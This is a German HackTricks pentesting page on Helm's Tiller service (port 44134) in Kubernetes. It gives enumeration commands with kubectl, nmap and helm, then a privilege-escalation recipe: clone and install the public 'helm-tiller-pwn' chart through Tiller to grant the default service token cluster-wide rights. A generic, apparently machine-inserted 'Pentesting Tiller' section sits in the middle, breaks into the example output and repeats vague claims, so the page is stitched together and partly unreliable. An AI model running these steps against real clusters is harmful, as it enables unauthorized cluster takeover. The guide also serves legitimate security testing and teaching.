8.1 KiB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Grundlegende Informationen
Helm ist der Paketmanager für Kubernetes. Es ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden als Helm-Charts bezeichnet. Tiller ist der Dienst, der standardmäßig auf Port 44134 läuft und den Service anbietet.
Standardport: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeration
Wenn Sie Pods und/oder Services in verschiedenen Namespaces aufzählen können, zählen Sie sie auf und suchen Sie nach denen mit dem Namen "tiller":
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Beispiel:
Pentesting Tiller (Helm)
Einführung
Tiller ist der Server-Komponente von Helm, einem Paketmanager für Kubernetes. In diesem Abschnitt werden einige Techniken zum Pentesting von Tiller vorgestellt.
Informationen sammeln
Version überprüfen
Um die Version von Tiller zu überprüfen, können Sie den Befehl helm version
verwenden.
$ helm version
Tiller-Endpunkt ermitteln
Um den Tiller-Endpunkt zu ermitteln, können Sie den Befehl kubectl get endpoints -n kube-system
verwenden und nach dem Tiller-Dienst suchen.
$ kubectl get endpoints -n kube-system
Schwachstellenanalyse
Standardanmeldeinformationen
Tiller verwendet standardmäßig keine Anmeldeinformationen. Dies kann zu Sicherheitsproblemen führen, da jeder mit Zugriff auf den Tiller-Endpunkt auf den Cluster zugreifen kann.
Fehlende Berechtigungsprüfung
Tiller überprüft standardmäßig nicht die Berechtigungen für die Installation oder Aktualisierung von Charts. Dies ermöglicht es einem Angreifer, bösartige Charts zu installieren oder vorhandene Charts zu aktualisieren.
Unzureichende Zugriffskontrollen
Tiller verwendet standardmäßig keine Zugriffskontrollen, was bedeutet, dass jeder mit Zugriff auf den Tiller-Endpunkt beliebige Aktionen ausführen kann.
Exploitation
Bösartige Charts
Ein Angreifer kann bösartige Charts erstellen und diese über Tiller installieren. Diese Charts können schädlichen Code enthalten, der im Cluster ausgeführt wird.
Chart-Manipulation
Ein Angreifer kann vorhandene Charts manipulieren und bösartigen Code hinzufügen. Wenn ein Administrator diese Charts aktualisiert, wird der bösartige Code im Cluster ausgeführt.
Gegenmaßnahmen
Authentifizierung und Autorisierung
Es wird empfohlen, Tiller mit Authentifizierung und Autorisierung zu konfigurieren, um unbefugten Zugriff zu verhindern.
Zugriffskontrollen
Es wird empfohlen, Zugriffskontrollen für Tiller zu implementieren, um die Aktionen, die ein Benutzer ausführen kann, einzuschränken.
Aktualisierung der Tiller-Version
Es wird empfohlen, Tiller regelmäßig zu aktualisieren, um von den neuesten Sicherheitsupdates zu profitieren.
Fazit
Tiller kann aufgrund seiner Standardkonfiguration und fehlenden Sicherheitsmaßnahmen zu Sicherheitsproblemen führen. Durch die Implementierung von Authentifizierung, Autorisierung und Zugriffskontrollen sowie regelmäßige Aktualisierungen können diese Risiken minimiert werden.
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Sie können auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:
sudo nmap -sS -p 44134 <IP>
Sobald Sie es entdeckt haben, können Sie mit dem Herunterladen der Client-Anwendung Helm kommunizieren. Sie können Tools wie homebrew
verwenden oder sich die offizielle Veröffentlichungsseite** ansehen**. Weitere Details oder andere Optionen finden Sie in der Installationsanleitung.
Dann können Sie den Dienst aufzählen:
helm --host tiller-deploy.kube-system:44134 version
Privilege Escalation
Standardmäßig wurde Helm2 im Namespace kube-system mit hohen Privilegien installiert. Wenn du den Service findest und Zugriff darauf hast, kannst du dadurch Privilegien eskalieren.
Alles, was du tun musst, ist ein Paket wie dieses zu installieren: https://github.com/Ruil1n/helm-tiller-pwn. Dadurch erhält der Standard-Service-Token Zugriff auf alles im gesamten Cluster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
In http://rui0.cn/archives/1573 finden Sie die Erklärung des Angriffs, aber im Grunde genommen können Sie in den Dateien clusterrole.yaml und clusterrolebinding.yaml innerhalb von helm-tiller-pwn/pwnchart/templates/ sehen, wie alle Berechtigungen dem Standard-Token zugewiesen werden.
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.